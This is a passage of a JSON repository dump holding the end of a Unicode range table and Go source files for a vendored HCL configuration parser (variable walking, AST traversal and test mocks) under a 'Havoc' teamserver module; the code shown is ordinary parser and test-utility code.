A..BHAIKSUKI L...\n      | 0xF0 0x91 0xB0 0x8A..0xAE  #Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI L...\n      | 0xF0 0x91 0xB0 0xAF     #Mc       BHAIKSUKI VOWEL SIGN AA\n      | 0xF0 0x91 0xB0 0xB0..0xB6  #Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSU...\n      | 0xF0 0x91 0xB0 0xB8..0xBD  #Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSU...\n      | 0xF0 0x91 0xB0 0xBE     #Mc       BHAIKSUKI SIGN VISARGA\n      | 0xF0 0x91 0xB0 0xBF     #Mn       BHAIKSUKI SIGN VIRAMA\n      | 0xF0 0x91 0xB1 0x80     #Lo       BHAIKSUKI SIGN AVAGRAHA\n      | 0xF0 0x91 0xB1 0x90..0x99  #Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI...\n      | 0xF0 0x91 0xB1 0xB2..0xFF  #Lo  [30] MARCHEN LETTER KA..MARCHEN LETT...\n      | 0xF0 0x91 0xB2 0x00..0x8F  #\n      | 0xF0 0x91 0xB2 0x92..0xA7  #Mn  [22] MARCHEN SUBJOINED LETTER KA..MA...\n      | 0xF0 0x91 0xB2 0xA9     #Mc       MARCHEN SUBJOINED LETTER YA\n      | 0xF0 0x91 0xB2 0xAA..0xB0  #Mn   [7] MARCHEN SUBJOINED LETTER RA..MA...\n      | 0xF0 0x91 0xB2 0xB1     #Mc       MARCHEN VOWEL SIGN I\n      | 0xF0 0x91 0xB2 0xB2..0xB3  #Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN V...\n      | 0xF0 0x91 0xB2 0xB4     #Mc       MARCHEN VOWEL SIGN O\n      | 0xF0 0x91 0xB2 0xB5..0xB6  #Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN ...\n      | 0xF0 0x92 0x80 0x80..0xFF        #Lo [922] CUNEIFORM SIGN A..CUNEIFO...\n      | 0xF0 0x92 0x81..0x8D 0x00..0xFF  #\n      | 0xF0 0x92 0x8E 0x00..0x99        #\n      | 0xF0 0x92 0x90 0x80..0xFF  #Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH....\n      | 0xF0 0x92 0x91 0x00..0xAE  #\n      | 0xF0 0x92 0x92 0x80..0xFF        #Lo [196] CUNEIFORM SIGN AB TIMES N...\n      | 0xF0 0x92 0x93..0x94 0x00..0xFF  #\n      | 0xF0 0x92 0x95 0x00..0x83        #\n      | 0xF0 0x93 0x80 0x80..0xFF        #Lo [1071] EGYPTIAN HIEROGLYPH A001...\n      | 0xF0 0x93 0x81..0x8F 0x00..0xFF  #\n      | 0xF0 0x93 0x90 0x00..0xAE        #\n      | 0xF0 0x94 0x90 0x80..0xFF        #Lo [583] ANATOLIAN HIEROGLYPH A001...\n      | 0xF0 0x94 0x91..0x98 0x00..0xFF  #\n      | 0xF0 0x94 0x99 0x00..0x86        #\n      | 0xF0 0x96 0xA0 0x80..0xFF        #Lo [569] BAMUM LETTER PHASE-A NGKU...\n      | 0xF0 0x96 0xA1..0xA7 0x00..0xFF  #\n      | 0xF0 0x96 0xA8 0x00..0xB8        #\n      | 0xF0 0x96 0xA9 0x80..0x9E  #Lo  [31] MRO LETTER TA..MRO LETTER TEK\n      | 0xF0 0x96 0xA9 0xA0..0xA9  #Nd  [10] MRO DIGIT ZERO..MRO DIGIT NINE\n      | 0xF0 0x96 0xAB 0x90..0xAD  #Lo  [30] BASSA VAH LETTER ENNI..BASSA VA...\n      | 0xF0 0x96 0xAB 0xB0..0xB4  #Mn   [5] BASSA VAH COMBINING HIGH TONE.....\n      | 0xF0 0x96 0xAC 0x80..0xAF  #Lo  [48] PAHAWH HMONG VOWEL KEEB..PAHAWH...\n      | 0xF0 0x96 0xAC 0xB0..0xB6  #Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHA...\n      | 0xF0 0x96 0xAD 0x80..0x83  #Lm   [4] PAHAWH HMONG SIGN VOS SEEV..PAH...\n      | 0xF0 0x96 0xAD 0x90..0x99  #Nd  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH...\n      | 0xF0 0x96 0xAD 0xA3..0xB7  #Lo  [21] PAHAWH HMONG SIGN VOS LUB..PAHA...\n      | 0xF0 0x96 0xAD 0xBD..0xFF  #Lo  [19] PAHAWH HMONG CLAN SIGN TSHEEJ.....\n      | 0xF0 0x96 0xAE 0x00..0x8F  #\n      | 0xF0 0x96 0xBC 0x80..0xFF  #Lo  [69] MIAO LETTER PA..MIAO LETTER HHA\n      | 0xF0 0x96 0xBD 0x00..0x84  #\n      | 0xF0 0x96 0xBD 0x90     #Lo       MIAO LETTER NASALIZATION\n      | 0xF0 0x96 0xBD 0x91..0xBE  #Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWE...\n      | 0xF0 0x96 0xBE 0x8F..0x92  #Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW\n      | 0xF0 0x96 0xBE 0x93..0x9F  #Lm  [13] MIAO LETTER TONE-2..MIAO LETTER...\n      | 0xF0 0x96 0xBF 0xA0     #Lm       TANGUT ITERATION MARK\n      | 0xF0 0x97 0x80 0x80..0xFF        #Lo [6125] TANGUT IDEOGRAPH-17000.....\n      | 0xF0 0x97 0x81..0xFF 0x00..0xFF  #\n      | 0xF0 0x98 0x00 0x00..0xFF        #\n      | 0xF0 0x98 0x01..0x9E 0x00..0xFF  #\n      | 0xF0 0x98 0x9F 0x00..0xAC        #\n      | 0xF0 0x98 0xA0 0x80..0xFF        #Lo [755] TANGUT COMPONENT-001..TAN...\n      | 0xF0 0x98 0xA1..0xAA 0x00..0xFF  #\n      | 0xF0 0x98 0xAB 0x00..0xB2        #\n      | 0xF0 0x9B 0x80 0x80..0x81  #Lo   [2] KATAKANA LETTER ARCHAIC E..HIRA...\n      | 0xF0 0x9B 0xB0 0x80..0xFF  #Lo [107] DUPLOYAN LETTER H..DUPLOYAN LET...\n      | 0xF0 0x9B 0xB1 0x00..0xAA  #\n      | 0xF0 0x9B 0xB1 0xB0..0xBC  #Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL ...\n      | 0xF0 0x9B 0xB2 0x80..0x88  #Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPL...\n      | 0xF0 0x9B 0xB2 0x90..0x99  #Lo  [10] DUPLOYAN AFFIX LOW ACUTE..DUPLO...\n      | 0xF0 0x9B 0xB2 0x9D..0x9E  #Mn   [2] DUPLOYAN THICK LETTER SELECTOR....\n      | 0xF0 0x9D 0x85 0xA5..0xA6  #Mc   [2] MUSICAL SYMBOL COMBINING STEM.....\n      | 0xF0 0x9D 0x85 0xA7..0xA9  #Mn   [3] MUSICAL SYMBOL COMBINING TREMOL...\n      | 0xF0 0x9D 0x85 0xAD..0xB2  #Mc   [6] MUSICAL SYMBOL COMBINING AUGMEN...\n      | 0xF0 0x9D 0x85 0xBB..0xFF  #Mn   [8] MUSICAL SYMBOL COMBINING ACCENT...\n      | 0xF0 0x9D 0x86 0x00..0x82  #\n      | 0xF0 0x9D 0x86 0x85..0x8B  #Mn   [7] MUSICAL SYMBOL COMBINING DOIT.....\n      | 0xF0 0x9D 0x86 0xAA..0xAD  #Mn   [4] MUSICAL SYMBOL COMBINING DOWN B...\n      | 0xF0 0x9D 0x89 0x82..0x84  #Mn   [3] COMBINING GREEK MUSICAL TRISEME...\n      | 0xF0 0x9D 0x90 0x80..0xFF  #L&  [85] MATHEMATICAL BOLD CAPITAL A..MA...\n      | 0xF0 0x9D 0x91 0x00..0x94  #\n      | 0xF0 0x9D 0x91 0x96..0xFF  #L&  [71] MATHEMATICAL ITALIC SMALL I..MA...\n      | 0xF0 0x9D 0x92 0x00..0x9C  #\n      | 0xF0 0x9D 0x92 0x9E..0x9F  #L&   [2] MATHEMATICAL SCRIPT CAPITAL C.....\n      | 0xF0 0x9D 0x92 0xA2     #L&       MATHEMATICAL SCRIPT CAPITAL G\n      | 0xF0 0x9D 0x92 0xA5..0xA6  #L&   [2] MATHEMATICAL SCRIPT CAPITAL J.....\n      | 0xF0 0x9D 0x92 0xA9..0xAC  #L&   [4] MATHEMATICAL SCRIPT CAPITAL N.....\n      | 0xF0 0x9D 0x92 0xAE..0xB9  #L&  [12] MATHEMATICAL SCRIPT CAPITAL S.....\n      | 0xF0 0x9D 0x92 0xBB     #L&       MATHEMATICAL SCRIPT SMALL F\n      | 0xF0 0x9D 0x92 0xBD..0xFF  #L&   [7] MATHEMATICAL SCRIPT SMALL H..MA...\n      | 0xF0 0x9D 0x93 0x00..0x83  #\n      | 0xF0 0x9D 0x93 0x85..0xFF  #L&  [65] MATHEMATICAL SCRIPT SMALL P..MA...\n      | 0xF0 0x9D 0x94 0x00..0x85  #\n      | 0xF0 0x9D 0x94 0x87..0x8A  #L&   [4] MATHEMATICAL FRAKTUR CAPITAL D....\n      | 0xF0 0x9D 0x94 0x8D..0x94  #L&   [8] MATHEMATICAL FRAKTUR CAPITAL J....\n      | 0xF0 0x9D 0x94 0x96..0x9C  #L&   [7] MATHEMATICAL FRAKTUR CAPITAL S....\n      | 0xF0 0x9D 0x94 0x9E..0xB9  #L&  [28] MATHEMATICAL FRAKTUR SMALL A..M...\n      | 0xF0 0x9D 0x94 0xBB..0xBE  #L&   [4] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x80..0x84  #L&   [5] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x86     #L&       MATHEMATICAL DOUBLE-STRUCK CAPITAL O\n      | 0xF0 0x9D 0x95 0x8A..0x90  #L&   [7] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x92..0xFF        #L& [340] MATHEMATICAL DOUBLE-STRUC...\n      | 0xF0 0x9D 0x96..0x99 0x00..0xFF  #\n      | 0xF0 0x9D 0x9A 0x00..0xA5        #\n      | 0xF0 0x9D 0x9A 0xA8..0xFF  #L&  [25] MATHEMATICAL BOLD CAPITAL ALPHA...\n      | 0xF0 0x9D 0x9B 0x00..0x80  #\n      | 0xF0 0x9D 0x9B 0x82..0x9A  #L&  [25] MATHEMATICAL BOLD SMALL ALPHA.....\n      | 0xF0 0x9D 0x9B 0x9C..0xBA  #L&  [31] MATHEMATICAL BOLD EPSILON SYMBO...\n      | 0xF0 0x9D 0x9B 0xBC..0xFF  #L&  [25] MATHEMATICAL ITALIC SMALL ALPHA...\n      | 0xF0 0x9D 0x9C 0x00..0x94  #\n      | 0xF0 0x9D 0x9C 0x96..0xB4  #L&  [31] MATHEMATICAL ITALIC EPSILON SYM...\n      | 0xF0 0x9D 0x9C 0xB6..0xFF  #L&  [25] MATHEMATICAL BOLD ITALIC SMALL ...\n      | 0xF0 0x9D 0x9D 0x00..0x8E  #\n      | 0xF0 0x9D 0x9D 0x90..0xAE  #L&  [31] MATHEMATICAL BOLD ITALIC EPSILO...\n      | 0xF0 0x9D 0x9D 0xB0..0xFF  #L&  [25] MATHEMATICAL SANS-SERIF BOLD SM...\n      | 0xF0 0x9D 0x9E 0x00..0x88  #\n      | 0xF0 0x9D 0x9E 0x8A..0xA8  #L&  [31] MATHEMATICAL SANS-SERIF BOLD EP...\n      | 0xF0 0x9D 0x9E 0xAA..0xFF  #L&  [25] MATHEMATICAL SANS-SERIF BOLD IT...\n      | 0xF0 0x9D 0x9F 0x00..0x82  #\n      | 0xF0 0x9D 0x9F 0x84..0x8B  #L&   [8] MATHEMATICAL SANS-SERIF BOLD IT...\n      | 0xF0 0x9D 0x9F 0x8E..0xBF  #Nd  [50] MATHEMATICAL BOLD DIGIT ZERO..M...\n      | 0xF0 0x9D 0xA8 0x80..0xB6  #Mn  [55] SIGNWRITING HEAD RIM..SIGNWRITI...\n      | 0xF0 0x9D 0xA8 0xBB..0xFF  #Mn  [50] SIGNWRITING MOUTH CLOSED NEUTRA...\n      | 0xF0 0x9D 0xA9 0x00..0xAC  #\n      | 0xF0 0x9D 0xA9 0xB5     #Mn       SIGNWRITING UPPER BODY TILTING FRO...\n      | 0xF0 0x9D 0xAA 0x84     #Mn       SIGNWRITING LOCATION HEAD NECK\n      | 0xF0 0x9D 0xAA 0x9B..0x9F  #Mn   [5] SIGNWRITING FILL MODIFIER-2..SI...\n      | 0xF0 0x9D 0xAA 0xA1..0xAF  #Mn  [15] SIGNWRITING ROTATION MODIFIER-2...\n      | 0xF0 0x9E 0x80 0x80..0x86  #Mn   [7] COMBINING GLAGOLITIC LETTER AZU...\n      | 0xF0 0x9E 0x80 0x88..0x98  #Mn  [17] COMBINING GLAGOLITIC LETTER ZEM...\n      | 0xF0 0x9E 0x80 0x9B..0xA1  #Mn   [7] COMBINING GLAGOLITIC LETTER SHT...\n      | 0xF0 0x9E 0x80 0xA3..0xA4  #Mn   [2] COMBINING GLAGOLITIC LETTER YU....\n      | 0xF0 0x9E 0x80 0xA6..0xAA  #Mn   [5] COMBINING GLAGOLITIC LETTER YO....\n      | 0xF0 0x9E 0xA0 0x80..0xFF        #Lo [197] MENDE KIKAKUI SYLLABLE M0...\n      | 0xF0 0x9E 0xA1..0xA2 0x00..0xFF  #\n      | 0xF0 0x9E 0xA3 0x00..0x84        #\n      | 0xF0 0x9E 0xA3 0x90..0x96  #Mn   [7] MENDE KIKAKUI COMBINING NUMBER ...\n      | 0xF0 0x9E 0xA4 0x80..0xFF  #L&  [68] ADLAM CAPITAL LETTER ALIF..ADLA...\n      | 0xF0 0x9E 0xA5 0x00..0x83  #\n      | 0xF0 0x9E 0xA5 0x84..0x8A  #Mn   [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA\n      | 0xF0 0x9E 0xA5 0x90..0x99  #Nd  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE\n      | 0xF0 0x9E 0xB8 0x80..0x83  #Lo   [4] ARABIC MATHEMATICAL ALEF..ARABI...\n      | 0xF0 0x9E 0xB8 0x85..0x9F  #Lo  [27] ARABIC MATHEMATICAL WAW..ARABIC...\n      | 0xF0 0x9E 0xB8 0xA1..0xA2  #Lo   [2] ARABIC MATHEMATICAL INITIAL BEH...\n      | 0xF0 0x9E 0xB8 0xA4     #Lo       ARABIC MATHEMATICAL INITIAL HEH\n      | 0xF0 0x9E 0xB8 0xA7     #Lo       ARABIC MATHEMATICAL INITIAL HAH\n      | 0xF0 0x9E 0xB8 0xA9..0xB2  #Lo  [10] ARABIC MATHEMATICAL INITIAL YEH...\n      | 0xF0 0x9E 0xB8 0xB4..0xB7  #Lo   [4] ARABIC MATHEMATICAL INITIAL SHE...\n      | 0xF0 0x9E 0xB8 0xB9     #Lo       ARABIC MATHEMATICAL INITIAL DAD\n      | 0xF0 0x9E 0xB8 0xBB     #Lo       ARABIC MATHEMATICAL INITIAL GHAIN\n      | 0xF0 0x9E 0xB9 0x82     #Lo       ARABIC MATHEMATICAL TAILED JEEM\n      | 0xF0 0x9E 0xB9 0x87     #Lo       ARABIC MATHEMATICAL TAILED HAH\n      | 0xF0 0x9E 0xB9 0x89     #Lo       ARABIC MATHEMATICAL TAILED YEH\n      | 0xF0 0x9E 0xB9 0x8B     #Lo       ARABIC MATHEMATICAL TAILED LAM\n      | 0xF0 0x9E 0xB9 0x8D..0x8F  #Lo   [3] ARABIC MATHEMATICAL TAILED NOON...\n      | 0xF0 0x9E 0xB9 0x91..0x92  #Lo   [2] ARABIC MATHEMATICAL TAILED SAD....\n      | 0xF0 0x9E 0xB9 0x94     #Lo       ARABIC MATHEMATICAL TAILED SHEEN\n      | 0xF0 0x9E 0xB9 0x97     #Lo       ARABIC MATHEMATICAL TAILED KHAH\n      | 0xF0 0x9E 0xB9 0x99     #Lo       ARABIC MATHEMATICAL TAILED DAD\n      | 0xF0 0x9E 0xB9 0x9B     #Lo       ARABIC MATHEMATICAL TAILED GHAIN\n      | 0xF0 0x9E 0xB9 0x9D     #Lo       ARABIC MATHEMATICAL TAILED DOTLESS...\n      | 0xF0 0x9E 0xB9 0x9F     #Lo       ARABIC MATHEMATICAL TAILED DOTLESS...\n      | 0xF0 0x9E 0xB9 0xA1..0xA2  #Lo   [2] ARABIC MATHEMATICAL STRETCHED B...\n      | 0xF0 0x9E 0xB9 0xA4     #Lo       ARABIC MATHEMATICAL STRETCHED HEH\n      | 0xF0 0x9E 0xB9 0xA7..0xAA  #Lo   [4] ARABIC MATHEMATICAL STRETCHED H...\n      | 0xF0 0x9E 0xB9 0xAC..0xB2  #Lo   [7] ARABIC MATHEMATICAL STRETCHED M...\n      | 0xF0 0x9E 0xB9 0xB4..0xB7  #Lo   [4] ARABIC MATHEMATICAL STRETCHED S...\n      | 0xF0 0x9E 0xB9 0xB9..0xBC  #Lo   [4] ARABIC MATHEMATICAL STRETCHED D...\n      | 0xF0 0x9E 0xB9 0xBE     #Lo       ARABIC MATHEMATICAL STRETCHED DOTL...\n      | 0xF0 0x9E 0xBA 0x80..0x89  #Lo  [10] ARABIC MATHEMATICAL LOOPED ALEF...\n      | 0xF0 0x9E 0xBA 0x8B..0x9B  #Lo  [17] ARABIC MATHEMATICAL LOOPED LAM....\n      | 0xF0 0x9E 0xBA 0xA1..0xA3  #Lo   [3] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0x9E 0xBA 0xA5..0xA9  #Lo   [5] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0x9E 0xBA 0xAB..0xBB  #Lo  [17] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0xA0 0x80 0x80..0xFF              #Lo [42711] CJK UNIFIED IDEOG...\n      | 0xF0 0xA0 0x81..0xFF 0x00..0xFF        #\n      | 0xF0 0xA1..0xA9 0x00..0xFF 0x00..0xFF  #\n      | 0xF0 0xAA 0x00 0x00..0xFF              #\n      | 0xF0 0xAA 0x01..0x9A 0x00..0xFF        #\n      | 0xF0 0xAA 0x9B 0x00..0x96              #\n      | 0xF0 0xAA 0x9C 0x80..0xFF        #Lo [4149] CJK UNIFIED IDEOGRAPH-2A...\n      | 0xF0 0xAA 0x9D..0xFF 0x00..0xFF  #\n      | 0xF0 0xAB 0x00 0x00..0xFF        #\n      | 0xF0 0xAB 0x01..0x9B 0x00..0xFF  #\n      | 0xF0 0xAB 0x9C 0x00..0xB4        #\n      | 0xF0 0xAB 0x9D 0x80..0xFF        #Lo [222] CJK UNIFIED IDEOGRAPH-2B7...\n      | 0xF0 0xAB 0x9E..0x9F 0x00..0xFF  #\n      | 0xF0 0xAB 0xA0 0x00..0x9D        #\n      | 0xF0 0xAB 0xA0 0xA0..0xFF        #Lo [5762] CJK UNIFIED IDEOGRAPH-2B...\n      | 0xF0 0xAB 0xA1..0xFF 0x00..0xFF  #\n      | 0xF0 0xAC 0x00 0x00..0xFF        #\n      | 0xF0 0xAC 0x01..0xB9 0x00..0xFF  #\n      | 0xF0 0xAC 0xBA 0x00..0xA1        #\n      | 0xF0 0xAF 0xA0 0x80..0xFF        #Lo [542] CJK COMPATIBILITY IDEOGRA...\n      | 0xF0 0xAF 0xA1..0xA7 0x00..0xFF  #\n      | 0xF0 0xAF 0xA8 0x00..0x9D        #\n      | 0xF3 0xA0 0x84 0x80..0xFF        #Mn [240] VARIATION SELECTOR-17..VA...\n      | 0xF3 0xA0 0x85..0x86 0x00..0xFF  #\n      | 0xF3 0xA0 0x87 0x00..0xAF        #\n      ;\n\n}%%\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/variables.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Variables returns all of the variables referenced within a given expression.\n//\n// This is the implementation of the \"Variables\" method on every native\n// expression.\nfunc Variables(expr Expression) []hcl.Traversal {\n    var vars []hcl.Traversal\n\n    walker := &variablesWalker{\n        Callback: func(t hcl.Traversal) {\n            vars = append(vars, t)\n        },\n    }\n\n    Walk(expr, walker)\n\n    return vars\n}\n\n// variablesWalker is a Walker implementation that calls its callback for any\n// root scope traversal found while walking.\ntype variablesWalker struct {\n    Callback    func(hcl.Traversal)\n    localScopes []map[string]struct{}\n}\n\nfunc (w *variablesWalker) Enter(n Node) hcl.Diagnostics {\n    switch tn := n.(type) {\n    case *ScopeTraversalExpr:\n        t := tn.Traversal\n\n        // Check if the given root name appears in any of the active\n        // local scopes. We don't want to return local variables here, since\n        // the goal of walking variables is to tell the calling application\n        // which names it needs to populate in the _root_ scope.\n        name := t.RootName()\n        for _, names := range w.localScopes {\n            if _, localized := names[name]; localized {\n                return nil\n            }\n        }\n\n        w.Callback(t)\n    case ChildScope:\n        w.localScopes = append(w.localScopes, tn.LocalNames)\n    }\n    return nil\n}\n\nfunc (w *variablesWalker) Exit(n Node) hcl.Diagnostics {\n    switch n.(type) {\n    case ChildScope:\n        // pop the latest local scope, assuming that the walker will\n        // behave symmetrically as promised.\n        w.localScopes = w.localScopes[:len(w.localScopes)-1]\n    }\n    return nil\n}\n\n// ChildScope is a synthetic AST node that is visited during a walk to\n// indicate that its descendent will be evaluated in a child scope, which\n// may mask certain variables from the parent scope as locals.\n//\n// ChildScope nodes don't really exist in the AST, but are rather synthesized\n// on the fly during walk. Therefore it doesn't do any good to transform them;\n// instead, transform either parent node that created a scope or the expression\n// that the child scope struct wraps.\ntype ChildScope struct {\n    LocalNames map[string]struct{}\n    Expr       Expression\n}\n\nfunc (e ChildScope) walkChildNodes(w internalWalkFunc) {\n    w(e.Expr)\n}\n\n// Range returns the range of the expression that the ChildScope is\n// encapsulating. It isn't really very useful to call Range on a ChildScope.\nfunc (e ChildScope) Range() hcl.Range {\n    return e.Expr.Range()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/walk.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// VisitFunc is the callback signature for VisitAll.\ntype VisitFunc func(node Node) hcl.Diagnostics\n\n// VisitAll is a basic way to traverse the AST beginning with a particular\n// node. The given function will be called once for each AST node in\n// depth-first order, but no context is provided about the shape of the tree.\n//\n// The VisitFunc may return diagnostics, in which case they will be accumulated\n// and returned as a single set.\nfunc VisitAll(node Node, f VisitFunc) hcl.Diagnostics {\n    diags := f(node)\n    node.walkChildNodes(func(node Node) {\n        diags = append(diags, VisitAll(node, f)...)\n    })\n    return diags\n}\n\n// Walker is an interface used with Walk.\ntype Walker interface {\n    Enter(node Node) hcl.Diagnostics\n    Exit(node Node) hcl.Diagnostics\n}\n\n// Walk is a more complex way to traverse the AST starting with a particular\n// node, which provides information about the tree structure via separate\n// Enter and Exit functions.\nfunc Walk(node Node, w Walker) hcl.Diagnostics {\n    diags := w.Enter(node)\n    node.walkChildNodes(func(node Node) {\n        diags = append(diags, Walk(node, w)...)\n    })\n    moreDiags := w.Exit(node)\n    diags = append(diags, moreDiags...)\n    return diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcltest/doc.go",
    "content": "// Package hcltest contains utilities that aim to make it more convenient\n// to write tests for code that interacts with the HCL API.\n//\n// This package is intended for use only in test code. It is optimized for\n// convenience of use over all other concerns.\npackage hcltest\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcltest/mock.go",
    "content": "package hcltest\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// MockBody returns a hcl.Body implementation that works in terms of a\n// caller-constructed hcl.BodyContent, thus avoiding the need to parse\n// a \"real\" HCL config file to use as input to a test.\nfunc MockBody(content *hcl.BodyContent) hcl.Body {\n    return mockBody{content}\n}\n\ntype mockBody struct {\n    C *hcl.BodyContent\n}\n\nfunc (b mockBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    content, remainI, diags := b.PartialContent(schema)\n    remain := remainI.(mockBody)\n    for _, attr := range remain.C.Attributes {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extraneous argument in mock body\",\n            Detail:   fmt.Sprintf(\"Mock body has extraneous argument %q.\", attr.Name),\n            Subject:  &attr.NameRange,\n        })\n    }\n    for _, block := range remain.C.Blocks {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extraneous block in mock body\",\n            Detail:   fmt.Sprintf(\"Mock body has extraneous block of type %q.\", block.Type),\n            Subject:  &block.DefRange,\n        })\n    }\n    return content, diags\n}\n\nfunc (b mockBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    ret := &hcl.BodyContent{\n        Attributes:       map[string]*hcl.Attribute{},\n        Blocks:           []*hcl.Block{},\n        MissingItemRange: b.C.MissingItemRange,\n    }\n    remain := &hcl.BodyContent{\n        Attributes:       map[string]*hcl.Attribute{},\n        Blocks:           []*hcl.Block{},\n        MissingItemRange: b.C.MissingItemRange,\n    }\n    var diags hcl.Diagnostics\n\n    if len(schema.Attributes) != 0 {\n        for _, attrS := range schema.Attributes {\n            name := attrS.Name\n            attr, ok := b.C.Attributes[name]\n            if !ok {\n                if attrS.Required {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing required argument\",\n                        Detail:   fmt.Sprintf(\"Mock body doesn't have argument %q\", name),\n                        Subject:  b.C.MissingItemRange.Ptr(),\n                    })\n                }\n                continue\n            }\n            ret.Attributes[name] = attr\n        }\n    }\n\n    for attrN, attr := range b.C.Attributes {\n        if _, ok := ret.Attributes[attrN]; !ok {\n            remain.Attributes[attrN] = attr\n        }\n    }\n\n    wantedBlocks := map[string]hcl.BlockHeaderSchema{}\n    for _, blockS := range schema.Blocks {\n        wantedBlocks[blockS.Type] = blockS\n    }\n\n    for _, block := range b.C.Blocks {\n        if blockS, ok := wantedBlocks[block.Type]; ok {\n            if len(block.Labels) != len(blockS.LabelNames) {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Wrong number of block labels\",\n                    Detail:   fmt.Sprintf(\"Block of type %q requires %d labels, but got %d\", blockS.Type, len(blockS.LabelNames), len(block.Labels)),\n                    Subject:  b.C.MissingItemRange.Ptr(),\n                })\n            }\n\n            ret.Blocks = append(ret.Blocks, block)\n        } else {\n            remain.Blocks = append(remain.Blocks, block)\n        }\n    }\n\n    return ret, mockBody{remain}, diags\n}\n\nfunc (b mockBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    if len(b.C.Blocks) != 0 {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Mock body has blocks\",\n            Detail:   \"Can't use JustAttributes on a mock body with blocks.\",\n            Subject:  b.C.MissingItemRange.Ptr(),\n        })\n    }\n\n    return b.C.Attributes, diags\n}\n\nfunc (b mockBody) MissingItemRange() hcl.Range {\n    return b.C.MissingItemRange\n}\n\n// MockExprLiteral returns a hcl.Expression that evaluates to the given literal\n// value.\nfunc MockExprLiteral(val cty.Value) hcl.Expression {\n    return mockExprLiteral{val}\n}\n\ntype mockExprLiteral struct {\n    V cty.Value\n}\n\nfunc (e mockExprLiteral) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return e.V, nil\n}\n\nfunc (e mockExprLiteral) Variables() []hcl.Traversal {\n    return nil\n}\n\nfunc (e mockExprLiteral) Range() hcl.Range {\n    return hcl.Range{\n        Filename: \"MockExprLiteral\",\n    }\n}\n\nfunc (e mockExprLiteral) StartRange() hcl.Range {\n    return e.Range()\n}\n\n// Implementation for hcl.ExprList\nfunc (e mockExprLiteral) ExprList() []hcl.Expression {\n    v := e.V\n    ty := v.Type()\n    if v.IsKnown() && !v.IsNull() && (ty.IsListType() || ty.IsTupleType()) {\n        ret := make([]hcl.Expression, 0, v.LengthInt())\n        for it := v.ElementIterator(); it.Next(); {\n            _, v := it.Element()\n            ret = append(ret, MockExprLiteral(v))\n        }\n        return ret\n    }\n    return nil\n}\n\n// Implementation for hcl.ExprMap\nfunc (e mockExprLiteral) ExprMap() []hcl.KeyValuePair {\n    v := e.V\n    ty := v.Type()\n    if v.IsKnown() && !v.IsNull() && (ty.IsObjectType() || ty.IsMapType()) {\n        ret := make([]hcl.KeyValuePair, 0, v.LengthInt())\n        for it := v.ElementIterator(); it.Next(); {\n            k, v := it.Element()\n            ret = append(ret, hcl.KeyValuePair{\n                Key:   MockExprLiteral(k),\n                Value: MockExprLiteral(v),\n            })\n        }\n        return ret\n    }\n    return nil\n}\n\n// MockExprVariable returns a hcl.Expression that evaluates to the value of\n// the variable with the given name.\nfunc MockExprVariable(name string) hcl.Expression {\n    return mockExprVariable(name)\n}\n\ntype mockExprVariable string\n\nfunc (e mockExprVariable) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    name := string(e)\n    for ctx != nil {\n        if val, ok := ctx.Variables[name]; ok {\n            return val, nil\n        }\n        ctx = ctx.Parent()\n    }\n\n    // If we fall out here then there is no variable with the given name\n    return cty.DynamicVal, hcl.Diagnostics{\n        {\n            Severity: hcl.DiagError,\n            Summary:  \"Reference to undefined variable\",\n            Detail:   fmt.Sprintf(\"Variable %q is not defined.\", name),\n        },\n    }\n}\n\nfunc (e mockExprVariable) Variables() []hcl.Traversal {\n    return []hcl.Traversal{\n        {\n            hcl.TraverseRoot{\n                Name:     string(e),\n                SrcRange: e.Range(),\n            },\n        },\n    }\n}\n\nfunc (e mockExprVariable) Range() hcl.Range {\n    return hcl.Range{\n        Filename: \"MockExprVariable\",\n    }\n}\n\nfunc (e mockExprVariable) StartRange() hcl.Range {\n    return 